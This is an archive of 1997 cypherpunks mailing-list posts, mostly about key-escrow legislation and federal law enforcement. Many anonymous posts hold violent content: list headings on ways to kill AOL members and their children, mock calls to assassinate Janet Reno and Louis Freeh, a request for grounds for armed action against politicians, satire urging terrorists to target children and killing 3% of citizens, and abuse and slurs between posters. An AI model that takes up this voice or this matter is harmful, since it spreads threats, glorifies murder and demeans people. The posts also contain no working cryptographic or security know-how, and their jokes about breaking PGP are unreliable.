From:	remailer@bureau42.ml.org (bureau42 Anonymous Remailer)
Sender:	owner-cypherpunks@Algebra.COM
To:	cypherpunks@toad.com


Different Ways to Kill AOL Members:

1. Just thrust your head and shoulders thru their bedroom window :):)

2.

3.

4.

5.











From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Fri, 12 Sep 1997 16:44:46 +0800
To: cypherpunks@toad.com
Subject: Re: MITSUBISHI MISTY algorithm
In-Reply-To: <v0310280db03e7e07a349@[207.167.93.63]>
Message-ID: <3418FE7C.729C@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
> At 9:30 PM -0700 9/11/97, Nobuki Nakatuji wrote:

> (Now shut the fuck up and get the hell off our list with your demands for
> money to explain your bullshit one time pad scheme.)

  I'll shut the fuck up and get the hell off the list for $50.00!

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Syniker@aol.com
Date: Fri, 12 Sep 1997 15:01:58 +0800
To: declan@well.com
Subject: Re: The problem of playing politics with our constitutional rights
Message-ID: <970912024759_-2102646949@emout16.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain



Well -- I wasn't thinking of an encrypted 'channel' --
I mean, just put the damn crypto right on the page as 
a graphic -- it's a work of art, see -- it's a digital painting...
and when it's on the WWW, it's auto public knowledge, and
in the public domain...
   Anyways, I'm not waitin' -- I redid my homepage and have got
the two RSA Perl lines on there... I'll hang it by the weekend...
too damn tired tonight...
   Also -- if I can get PGP running this weekend, first two encrypted
emails will be to GagMe Gallegly and Diane F...
Wait.... fuckin' Gagme doesn't even have email..........OK -- FAX....

Larry.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 12 Sep 1997 09:17:02 +0800
To: cypherpunks@toad.com
Subject: Re: Freeh says FBI doing great, supports Weaver killer
Message-ID: <199709120049.CAA28921@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
> I wonder how the SS at Stanford will react to my "Death Penalty for Waco
> Commander in Chief!" placard?

I'll ask around at alt.threaten.the.president, but they seem to have
lost a lot of posters, even though the group is only a week old.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Syniker@aol.com
Date: Fri, 12 Sep 1997 15:19:31 +0800
To: cypherpunks@toad.com
Subject: Re: House panel votes behind closed doors to build in Big Brother
Message-ID: <970912030643_1061612968@emout06.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain



We got ourselves one sicko government.
I'll never comply or approve of any part of this.

Larry.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Fri, 12 Sep 1997 17:28:15 +0800
To: Zooko Journeyman <zooko@xs4all.nl>
Subject: Re: in defense of Lon Horiuchi
In-Reply-To: <199709120843.KAA01441@xs1.xs4all.nl>
Message-ID: <34190921.52DF@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Zooko Journeyman wrote:
> All I intended to assert was that Lon Horiuchi is almost
> certainly not the malicious baby-killing murderer that
> Anonymous portrayed.

  That is *not*at*all* certain.
  Others turned down the job because they didn't want to risk
becoming baby-killing murderers.
 
> But comparing such a policemen to a
> terrorist who deliberately targets non-combatants with a bomb
> is beyond the pale.  

  How about comparing him to a handful of BATF agents who scoot
out of the building to be bombed, leaving the non-combatants 
behind without warning them of the danger?
  Is that a good comparison?

> That, but for my interruption, this
> comparison would have passed unremarked among the cypherpunks
> crowd is damning.

  You are certainly assuming an awful lot, here. If you hadn't
butted in, some of us who agree with him would have taken the
opposite position just to be contrary sons of bitches.
 
> I don't expect that merely because of my contradiction the
> more rabid cypherpunks will suddenly throw off their twin
> blinders of ideology and hatred.  Neither do I desire that
> they retreat into closed conversation where they can continue
> their self-inflaming rants without fear of interruption.

  Had a toilet plunger stuck up your ass, lately, Zooko?
Is that why you didn't waddle on over to Waco and watch those
nice LEA's help those Bible-thumpers out of the compound?
  What's the matter? You miss the Nazis? Sorry we butted into
your politics over there. We could send you some FBI guys as
replacements.

>  My
> motivation in posting critical articles like these is primarily
> because there are a great number of silent readers of the
> cpunks list, and some of these people, perhaps being young or
> inexperienced, may consider such vile slanders to be
> self-evident truths if they continually see them pass
> unchallenged.

  Zooko, I'm very happy for you, living in a country where the
LEA's apparently kiss the citizens on the lips when they meet.
Go suck on a toilet plunger while burning some babies and give
some thought to moving to the New Amerika.
  We'll have Rodney King meet you at the airport. Ask him to
show you how fast his car can go.

  How about we divvy up the duties of teaching these young,
inexperienced readers the truths of life.
  You teach them how to say "Heil Hitler!" and we'll teach them
how to say "Lock and Load!" Their future is going to be mighty
dim if they don't know how to say one or the other.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Seth Finkelstein <sethf@mit.edu>
Date: Fri, 12 Sep 1997 15:42:51 +0800
To: david@amazing.com
Subject: Re: The problem of playing politics with our constitutional rights
Message-ID: <9709120730.AA15341@frumious-bandersnatch.MIT.EDU>
MIME-Version: 1.0
Content-Type: text/plain



> From: David H Dennis <david@amazing.com>
> I must confess that I'm wondering what Seth Finkelstein, Pro-Government Warrior,

	I resent this part of the description, but let it pass.

> able to jump over 50 Libertarians in a single bound, 

	able to out-flame 5 or so Libertarians in a single thread is
more accurate.

> thinks of all this. Crypto restrictions are natural to oppose in a
> Libertarian world, due to our fundamental distrust of government.
> Where do they fit in a Liberal one?

	I'm *solidly* against such restrictions. Hey, if *Lizard* recommends
me here, you've got to believe it :-).
	Here's a quick political lesson: Being a Liberal in the US
means very roughly ONLY that one believes that the government has some
role to play in moderating the excesses of the market. It does not
particularly *make* you a civil-libertarian. However, because Liberals
think about general social power and the abuse of it, they are very
often led to the civil-libertarian view. In the opposite direction,
sometimes they just want power themselves. It is with great regret
that I must debunk the myth that being a Liberal makes you a saint (it
only seems that way in comparison to everyone else around ... :-) )
	It also helps that Liberals are *predominantly* drawn from
ranks of those who are the targets of both public and private
abuses. So they often both favor government action against business
abuse, and strong civil-liberties guarantees to keep government power
in check. It is *possible* to be a Conservative civil-libertarian, but
this much lesser group, and has in the past decades very much been purged
from the Republican party by the theocrats and hence from the national scene.
	The net result of this process: Not all Liberals
are civil-libertarians, but civil-libertarian opposition will almost
always come from Liberals (read this sentence several times until you
understand it. I get so tired of people attacking the strawman that
all Liberals are civil-libertarians, nyah, nyah, look at e.g. Dellums).
	Now, when you comprehend that, we go on to the next lesson:
The Fundamental Problem in American politics is GET-A-MAJORITY. It
is not "be a constitutional scholar", it is not "construct and defend
the most rigorous argument for your position in terms of axiomatics from
first principles", it isn't even "know what you're talking about". It is
GET-A-MAJORITY. 
	Old joke: After a campaign rally, a supporter told Adelai Stevenson
"Mr. Stevenson, you've got every thinking man's vote!". He replied
"That's not enough, I need a majority."
	Semi-digression: Business is "make a profit" - if you do that
by throwing widows and orphans out into the street, it still works.
What matters is how many dollars are made, not people affected. This
is why Liberals view a population-based civil system as a necessary
constraint on the imperatives of capital. Because ultimately we're
people, not dollars.
	The goal of GET-A-MAJORITY is in great tension with
intrinsically minority-rights, anti-majoritarian concepts such as
civil-liberties. Any politician ignores this at great peril. Thus,
Liberals who don't have to be elected can be a lot more vocal
civil-liberties supporters than those who need to GET-A-MAJORITY.
Thus even Liberal, civil-libertarian politicians may *vote against
their principles* (do I hear gasps from the peanut gallery) because
of electoral imperatives.
	Corollary 1: Detonating a nuclear device in DC will not solve this
problem. The surviving government will just have a very good excuse for
crypto-controls.
	Corollary 2: Repeated Libertarian rantings won't solve it either.


	Now, personally, you're probably not going to be seeing me on
the crypto-barricades in the future. Is it because I'm a
Big-Brother-loving government-worshipper? No, not at all. I was
thinking today about what I could do on the issue. And I came to the
conclusion that I'm basically so crippled and exhausted as a
net.activist that I shouldn't do more (general statement, but set off
by this particular topic). I can't stand a huge number of the people
I'd have to work with, and I just don't have the patience and energy
to keep pounding grains of understanding into them, it's like filling
a sandbag with tweezers. But don't you dare assume support for crypto
restrictions from that, it's rather coming to the point of being
completely fed up with the drain of electronic activism on my life.

================
Seth Finkelstein
sethf@mit.edu





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Fri, 12 Sep 1997 15:48:41 +0800
To: cypherpunks@toad.com
Subject: Re: Any talk of limiting _existing_ crypto?
Message-ID: <376e743780d8315f4a93d16785193df4@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
> 
> OK, so the imminent legislation will ban sale or distribution unescrowed
> crypto products after 1999 or 2000 or whatever. Exact details unclear. But
> I see no language declaring existing products to be contraband. (Though
> such language could still come, of course...nothing would surprised me at
> this point.)

Jesus Tim, are you getting senile? Bet the farm on the outlawing of
existing crypto and you will have more money than Bill Gates in a
couple of years.
The new reality has become: any fascist, evil thing you can think of
that it is possible for the government to do--ask *when*, not *if*.

We are not arguing about the end of democracy in the US anymore. We
are merely discussing the timetable, now.

> If existing crypto is fully legal to use, then it could be years and years
> before the Freeh-Reno-SAFE outlawing has any significant effect.

Tim, you are forgetting about "the crisis." Which one? Name one. Make
one up out of random Scrabble letters. Yup, that's the crisis that is
going to require the outlawing of strong crypto. I would recognize it
anywhere.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alec McCrackin <camcc@abraxis.com>
Date: Fri, 12 Sep 1997 18:07:47 +0800
To: Zooko Journeyman <zooko@xs4all.nl>
Subject: in defense of the baby-murderer
In-Reply-To: <199709120843.KAA01441@xs1.xs4all.nl>
Message-ID: <34191197.3007@abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain



Zooko Journeyman wrote:

> All I intended to assert was that Lon Horiuchi is almost
> certainly not the malicious baby-killing murderer that
> Anonymous portrayed.

The Netly News Network (http://netlynews.com/)
September 10, 1997
Building in Big Brother
By Declan McCullagh (declan@well.com)
  
    Hoover despised Martin Luther King, Jr. -- branding him an
   "obsessive degenerate" -- and once sent him an anonymous letter,
using
   information gathered through illegal surveillance, to encourage the
   depressed civil rights leader to commit suicide. Hoover's legacy?
   Having the FBI headquarters bear his name today.

Zooko. Maybe the agent just asks them to commit suicide.

Alec
"How many of them FBI agents did you say you wanted us to send you?"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 12 Sep 1997 10:37:32 +0800
To: cypherpunks@toad.com
Subject: Information Please
Message-ID: <199709120224.EAA09212@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



I am interested in researching possible legal grounds for taking armed
action against politicians governments and law enforcement agencies.

I would appreciate any pointers anyone might be able to provide to 
any material of this nature.

Of particular interest would be information as to the application of
International law in this area.

I am assuming of course that there must be some form of law somewhere
which recognizes the right to resist oppression and violation of human
rights by any government elected or not.

Thank you.
ps If possible I would like to receive this information before
   September 16th 1997 as it is a two day drive to southern 
   California and I would like at least one day to rest.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <remailer@bureau42.ml.org>
Date: Fri, 12 Sep 1997 12:54:47 +0800
To: cypherpunks@toad.com
Subject: Different Ways Polly Klaas Could Have Been Killed
Message-ID: <VMutQOcXvpHjxKLZjYV9eQ==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain




Different Ways Polly Klaas Could Have Been Killed:

1.

2.

3.

4.

5.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <remailer@bureau42.ml.org>
Date: Fri, 12 Sep 1997 12:50:33 +0800
To: cypherpunks@toad.com
Subject: Bean Counting II
Message-ID: <bvbLgDBYeZtLKxtOwBy+tw==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain




Does anyone know if the government has released any firm figures on the
number of lives that would be saved from terrorist activities with the
outlawing of strong encryption and mandatory key escrow?

If we had the proper figures to work with then we could make a valid
judgment as to how many lives anti-GAK supporters would have to put
in danger in order to tip the balance so that it would be in the best
interests of the citizens to allow strong non-GAK'ed crypto.
I, for one, would hate to see lives lost needlessly merely because 
those opposing GAK did not have the proper figures to work with.

I think that in the interests of the greatest number of citizens, the 
government should supply solid figures as to the body count that would
be required to negate the need for laws against strong encryption.
Also, the government should provide a separate figure for how many 
lives of legislators would need to be lost in order to balance the
threat of strong encryption. I imagine that it would take far fewer
Congressman's lives to balance it out than it would average citizen's
lives.

Call your Congressman and ask if these figures are available.
In order to get the most help possible, begin the conversation by
asking the Congressman if he is in favor of saving lives.

BeanCounter





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <remailer@bureau42.ml.org>
Date: Fri, 12 Sep 1997 12:51:28 +0800
To: cypherpunks@toad.com
Subject: Different Ways to Serial Murder AOL Members' Children
Message-ID: <etKlP34mdjXzEvf4RAn3Xw==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



Different Ways to Serial Murder AOL Members' Children:

1.

2.

3.

4.

5.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <remailer@bureau42.ml.org>
Date: Fri, 12 Sep 1997 13:01:51 +0800
To: cypherpunks@toad.com
Subject: Different Ways to Kill AOL Members
Message-ID: <A01E09tqa3ltR3cBMsNv7g==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



Different Ways to Kill AOL Members:

1.

2.

3.

4.

5.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 12 Sep 1997 11:03:24 +0800
To: cypherpunks@toad.com
Subject: Reno and Freeh to be assassinated!
Message-ID: <199709120245.EAA11496@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Dave Del Torto wrote: 
> "All members of Congress, and particularly those of us on the Intelligence
> Committee, have a responsibility to find the proper balance between forward
> thinking commercial policies and the unquestioned need to protect the
> security of the American people and America's national interests." said 
> HPSCI Chairman Porter J. Goss

I think we should all send Chairman Goss a letter of appreciation for
his offer to assassinate Child Murderer Janet Reno and Murderer Louis
Freeh. Most politicians are too cowardly to promise strong actions such
as this.

> Terrorist groups that plot to blow up buildings; drug cartels
> that seek to poison our children, and those who proliferate in deadly
> chemical and biological weapons are all formidable opponents of peace and
> security in the global society. These bad actors must know that the United
> States' law enforcement and national security agencies, working under the
> proper oversight, will have the tools to frustrate illegal and deadly
> activity and bring international criminals to justice," Goss said.

Chairman Goss is also going to prosecute the employees of the CIA as
well.
It is good to finally see someone taking a strong stance in this regard.

What a wonderful, wonderful man. He is probably a good husband and
father too.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 12 Sep 1997 19:03:20 +0800
To: cypherpunks@toad.com
Subject: Official CypherPunks Decryption Software Breaks PGP !!!
Message-ID: <34191F1D.2DC4@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain

ANNOUNCEMENT: Official CypherPunks Decryption Software Now Available

  This is the first software package with the ability to Decrypt PGP
in all of its forms.

  The package costs $1,000,000 and comes with an 80 lb. suitcase.

  We have attached the software to this file and will forward the
suitcase upon receipt of the $1,000,000.

  Syntax: "cypherpunk.bat <filename>"


echo ""
echo ""
echo "    Official CypherPunk Decryption Software
echo ""
echo " Deciphered Message Is:
echo ""
echo ""               NUKE D.C. !!!
echo ""
echo ""
echo ""



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 12 Sep 1997 11:37:05 +0800
To: cypherpunks@toad.com
Subject: Re: Forwarding of Federalist Papers from Canada for U.S. Citizens promoting democracy
Message-ID: <199709120307.FAA13457@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Six wrote: 
> If you have a desire to educate the citizens of foreign countries
> as to the value of democracy, I would be pleased to forward a copy of
> the Federalist Papers to any email address you desire, upon receipt
> of only the email addresses, with no instructions or requests.

I think we should all send a copy of the Federalist Papers to Sadaam
Hussein. It would be the American thing to do.

Six also wrote:
> If for any reason you feel that the terrorists who are ruling your
> country might be able to persecute you for exercising free speech,
> I would be happy to forward PGP 5.0 upon receipt of only the email
> addresses, with no instructions or requests.

I am certain we can trust Six not to mix up the addresses with no
instructions and no requests meant for forwarding the Federalist
Papers with the addresses with no instructions and no requests meant
for forwarding strong encryption.

TrustingMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <remailer@bureau42.ml.org>
Date: Fri, 12 Sep 1997 13:44:09 +0800
To: cypherpunks@toad.com
Subject: Re: Taxless society concerns
Message-ID: <p8jWIozRd4tsnkJe97I8hQ==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 11 Sep 1997, Warpy wrote:

> First off. In such a society, who cares for the old, the sick, and the
> infirm? How is such care going to be payed for? How will basic services be
> maintained without the necessary taxes required to pay for them? 

Haven't you ever heard of ZPG? The problem with Medicare is that the
taxpayers are paying to keep the old people alive, no matter how close to
death they are!! Then, on top of that, we give them free money!

Come on people, we already have nigh 6 billion people on this planet, I
think we can stand to lose anybody over 65.

> But the question remains. In such a taxless society, and little or no
> government, how are those less fortunate than us going to be cared for?

As for the less fortunate, welcome to Evolution 101: Survival of the
Fittest, where fit means good education, good job, and enough money to
giev your kids the same.

-- Run.exe
  * Value Your Privacy? The Government Doesn't.  Say 'No' to Key Escrow! *
            Adopt Your Legislator -  http://www.crypto.com/adopt
"If I had only known, I would have been a locksmith."
                -- Albert Einstein
runexe@ntplx.net http://www.ntplx.net/~runexe/ PGP encrypted mail prefered









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 12 Sep 1997 12:25:07 +0800
To: cypherpunks@toad.com
Subject: Bean Counting
Message-ID: <199709120410.GAA19194@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




  After giving careful consideration to the amount of press coverage
dedicated to the bombing of the Oklahoma City Federal Building, and 
judging the proportion of outrage over the deaths of the children in
the daycare center compared to the amount of outrage over the remaining
victims, I have come to the conclusion that in the interests of saving
lives terrorists and psychos should be encouraged to murder the youngest
children possible.
  While my studies are preliminary, they indicate that terroists and
madmen would only have to kill half as many people to achieve comparable
results in the arena of publicity and public attention if they were to
confine their slaughter to young children. This figure declines further
if the children are white, and even further yet if they are cute.
  By promoting cute young white children as the target of preference
for terroists and crazy people, we could save innumerable lives each
and every year.

Next Week: The role of Senior Citizens in slow check-out lines.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@REPLAY.COM>
Date: Fri, 12 Sep 1997 12:32:49 +0800
To: cypherpunks@toad.com
Subject: null
Message-ID: <199709120415.GAA19616@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP MESSAGE-----
Version: 2.6.2
Comment: Der atombombe hat angelangt der sollma_ speicherstelle

owEtTj1oFEEUvjMKOpgmRWIhxxRJGuWQO0n2KsEUEUUUPRCxkLnzzb7Z3eysOzOu
a5AU0SJaHBbaaBRUxCaFhf+FzWk4LOxEmyCekgiSRi0UIb5LfPP4vpk37/v45grX
+7YU9u54eeHoPF7WV/52isXSn761fKU+2t6VPx+YaE/vH/O8D2/fnxt+stR8dun8
TO3N9PdrDx/fPvjl9PZ3lW1DnZM/X138tfxg62BrZOjW8tPZnWv3b04Mt4/0t37P
jqmPc1f7B1fa9ZlPXxcPbQoW8nZ3hN+N6p8Xbwwcvtf5NrrvWLd7Qt05Hs+3lkqv
V9MfL0qTC8VHjc0oUBSo6geU4dSCR9pyLbnVVkS84aLIoLK7ueKBM5bHAGfoj0sV
RdwkogmMsUxZ/C/wRdoQPvRWpkRIjGRqAKZ4pOhJ9iL1Ie3pSWlRxFxZLprWCTJU
plwu55AQOuTosLxRbL0mdZqoQNY8rVwMmUS5p1qpeRhL5aqVWHoVYqJxXakqg9Jv
SO1y4zd1EIOhpQziDaR2ikxYGBmahSYGydgpGUIWaBlkDOjIDEK6g/RZahmmDIkR
UwtEWqU2wIReia8cQpp4KFPlQCJoj7Jl4OlcQp45X47XIPNl7s4SOp8xQaaKNkgo
VeYEEGmHBrSSDrVQ2fqEkFGGgIIEoQx7Uf4B
=7hVR
-----END PGP MESSAGE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jay holovacs <holovacs@idt.net>
Date: Fri, 12 Sep 1997 19:11:45 +0800
To: Hiawatha Bray <wathab@tiac.net>
Subject: RE: RE: House National Security committee guts SAFE, worse than no bill
Message-ID: <199709121102.HAA15754@u2.farm.idt.net>
MIME-Version: 1.0
Content-Type: text/plain



Here I am

Jay

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.2

mQCNAzCmKpkAAAEEANq8z8b2fiVI8rB3n3iJVyqDSGu7KdYy0hE95DDAbkh017ew
oTEASfiZmP7mPXy9y7HWi9oYYIY1eGSH9Xe/oGLOfjoETKGES6YqObRJ5B5LmK+y
Xxsv89NCw/K7s/OSm+CscewZqXt0cHnHFx7/9heGEqDNii3xgdXsLniA5KoFAAUR
tB9KYXkgSG9sb3ZhY3MgPGhvbG92YWNzQGlvcy5jb20+
=c5gz
-----END PGP PUBLIC KEY BLOCK-----


==========================
   >From:    	Hiawatha Bray <wathab@tiac.net>
   >Subject:    	RE: House National Security committee guts SAFE, worse than no bill
   >Date:    	Wed, Sep 10, 1997  4:40 PM
   >
   >I hate to tip folks off as to my column for tomorrow, but that's exactly 
   >what I'm doing in it.  I have written that if the Feds try to impose 
   >key-recovery crypto on me, I'll start using some encryption program that 
   >doesn't comply with the law, and I'll send copies of the messages to the 
   >Feds, so they can come and arrest me.  If I really thought they would, I 
   >wouldn't have written it!  But I'll stand by it.
   >
   >Anyway, I don't presently encrypt my mail.  No reason to--I ain't no 
   >pedophile...;-)
   >So if I want to send crypto I must find some partner in crime.  Any 
   >volunteers?
   >
   >Hiawatha Bray
   >Technology Reporter
   >Boston Globe
   >P.O. Box 2378
   >135 Morrissey Blvd.
   >Boston, MA  02107-2378  USA
   >617-929-3115 voice
   >617-929-3183 fax
   >http://members.tripod.com/~krothering/index.html
   >
   >
   >On Wednesday, September 10, 1997 10:04 AM, Syniker@aol.com 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: landon_dyer@wayfarer.com (Landon Dyer)
Date: Fri, 12 Sep 1997 22:09:32 +0800
To: cypherpunks@Algebra.COM
Subject: house NSC member list
Message-ID: <3.0.32.19970912070553.00ca2210@mail.wayfarer.com>
MIME-Version: 1.0
Content-Type: text/plain




  from http://www.house.gov/nsc/members.htm

  according to the list, smith of washington was the only "no" vote in
committee


---------


The following is the official House National Security Committee Membership
list for the
105th Congress. 


	 Republican Members                  Democrat Members 
        --------------------------------
---------------------------------------------
        Floyd D. Spence, South Carolina,
         Chairman 
                                            Ronald V. Dellums, California,
Ranking Member 
        Bob Stump, Arizona, Vice-Chairman 
                                            Ike Skelton, Missouri 
        Duncan Hunter, California 
                                            Norman Sisisky, Virginia 
        John R. Kasich, Ohio 
                                            John M. Spratt, Jr., South
Carolina 
        Herbert H. Bateman, Virginia 
                                            Solomon P. Ortiz, Texas 
        James V. Hansen, Utah 
                                            Owen Pickett, Virginia 
        Curt Weldon, Pennsylvania 
                                            Lane Evans, Illinois 
        Joel Hefley, Colorado 
                                            Gene Taylor, Mississippi 
        Jim Saxton, New Jersey 
                                            Neil Abercrombie, Hawaii 
        Steve Buyer, Indiana 
                                            Martin T. Meehan, Massachusetts 
        Tillie K. Fowler, Florida 
                                            Robert A. Underwood, Guam 
        John M. McHugh, New York 
                                            Jane Harman, California 
        James Talent, Missouri 
                                            Paul McHale, Pennsylvania 
        Terry Everett, Alabama 
                                            Patrick J. Kennedy, Rhode Island 
        Roscoe G. Bartlett, Maryland 
                                            Rod R. Blagojevich, Illinois 
        Howard "Buck" McKeon, California 
                                            Silvestre Reyes, Texas 
        Ron Lewis, Kentucky 
                                            Tom Allen, Maine 
        J.C. Watts, Jr., Oklahoma 
                                            Victor F. Snyder, Arkansas 
        Mac Thornberry, Texas 
                                            Jim Turner, Texas 
        John N. Hostettler, Indiana 
                                            Allen Boyd, Florida 
        Saxby Chambliss, Georgia 
                                            Adam Smith, Washington 
        Van Hilleary, Tennessee 
                                            Loretta Sanchez, California 
        Joe Scarborough, Florida 
                                            James H. Maloney, Connecticut 
        Walter B. Jones, Jr., North Carolina 
                                            Mike McIntyre, North Carolina 
        Lindsey O. Graham, South Carolina 
                                            Ciro Rodriguez, Texas
        Sonny Bono, California 
                                            Cynthia McKinney, Georgia
        Jim Ryun, Kansas 
                                              
        Michael Pappas, New Jersey 
                                              
        Bob Riley, Alabama 
                                              
        Jim Gibbons, Nevada 
                                              
        Bill Redmond, New Mexico


  "Democracy is government by the people and for the people, on the
   theory that the people should get the kind of government they
   deserve, good and hard."
                             -- Robert Frezza, _The VMR Theory_





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Remo Pini" <rpini@rpini.com>
Date: Sat, 13 Sep 1997 03:15:55 +0800
To: cypherpunks@cyberpass.net
Subject: Sorry to bother
Message-ID: <3.0.2.32.19970912071112.00999450@164.128.61.201>
MIME-Version: 1.0
Content-Type: text/plain



what's the adress to send subscriptions to?

Greets,

Remo Pini
-----------------------------------------------------
Fate favors the prepared mind. (from "Under Siege 3")
-----------------------------------------------------
Remo Pini                         T: +41  1 350 28 88
Pini Computer Trading             N: +41 79 216 15 51
http://www.rpini.com/                 E: rp@rpini.com
key: http://www.rpini.com/crypto/remopini.asc        
-----------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Will Rodger <rodger@worldnet.att.net>
Date: Fri, 12 Sep 1997 19:31:22 +0800
To: Declan McCullagh <whgiii@amaranth.com>
Subject: Re: More on House Intelligence committee amendment on crypto
In-Reply-To: <199709120224.WAA09072@users.invweb.net>
Message-ID: <3.0.3.32.19970912072306.006c2940@postoffice.worldnet.att.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


>> I understand that 1 congresscritter voted against the amendment, 
do you
>> know which one it was? I would like to make sure it wasn't Joe
>> Scarborough.

"Twas none other than Adam Smith - Rep. from Microsoft's own Puget 
sound. I saw his hand.

Will Rodger
Washington Bureau Chief
Inter@ctive Week

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNBkmGtZgKT/Hvj9iEQL3ggCgwAzUMsqPgbt/0X4ux0LW1onPNIEAnjcR
vSCY8TUImbNIt1eEyf1RrXWQ
=Z8em
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 12 Sep 1997 13:43:36 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199709120531.HAA26749@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



It is quite probable that this has been said before.  In case it hasn't,
however, I feel compelled to point out that mandatory key escrow/recovery
could likely mean an economic disaster of unimaginable proportions. 

   Okay, key escrow, whether by the goobermint or a contracted third-party,
is beginning to scare the living crap out of me.  Okay, let's assume that
the ammended SAFE passes and is promptly signed into law(despite what the
administration says, I don't think anyone believes for a second that it
would be signed without hesitation). It's a simple matter for the Commerce
Dept. to modify their review criteria to specify that the key
escrow/recovery feature be enabled and that the end user not be able to
disable it.

   This obviously doesn't affect anyone who can get their hands on the
source and comment out a line or two, but think about what happens with
big corporations, especially financial ones.  It's highly likely that a
good number of them will use crypto software just the way Big Brother
would like them to, happily sending their keys off so that our friends in
Washington can keep them nice and safe.

   Now think about this:  You're Joe Random Govt. Worker at the official
secret key repository, and there's a budget crisis going on - instead of
paychecks, you're getting I.O.U.'s.  Your terminal has access to
thousands, perhaps millions, of secret keys.  You grab one of CitiBank's,
forge a few transactions, and 30 seconds later your Swiss bank account is
a few million dollars fatter and according to the digital signature, the
transaction originated in L.A..

   Of course, one doesn't even have to be an underpaid govt. worker to
join in on the fun.  Just find a buffer overflow in the key repository's
daemon software and trick it into tacking on a few secret keys with its
"Big Brother thanks you for your cooperation." packet.  Considering that
even the CIA can't keep their severs secure, why should ANYONE, even
thouse naive enough to trust the govt. to respect their privacy, ever
trust such a corrupt and insecure organization with their encyption keys.

   Along the same lines, it's almost certain that someone is eventually
going to fat-finger some code and keys are going to get sent in the clear,
posted publicly, or something equally bad - with the government running
the "key management infastructure", it'll probably be a 12 year old kid
who got bored with Minesweeper who causes the global economic collapse.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 12 Sep 1997 14:02:04 +0800
To: cypherpunks@toad.com
Subject: 3% to Freedom
Message-ID: <199709120547.HAA28222@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Just heard a Canadian MP state that he was voting in favour of gun
registration because 52% of his constituents were in favor of it.

Killing 3% of the people to save the rights of 48% of them seems like
a fair trade-off to me.

We could kill them with hammers until we killed enough that they passed
hammer registration laws. Then we could switch to scissors. Then forks.
Then rocks.
Of course, it would be impossible to bust all the people who were in
possession of unregisterd rocks in their yards, so they would probably
have to use selective enforcement against just blacks and longhairs
and the like.
Am I ready to run for public office, or do I need to get stupider?
If so, then I propose that we start killing people by filling their
mouths with dirt, then we can pass dirt registration laws. Then we can
kill people by filling their lungs with air until they burst and we
can pass air registration laws. Then we can leave people out in the
sun until they die and pass sun registration laws.
"The reason I pulled you over, guys, is because the sun came up. Unless
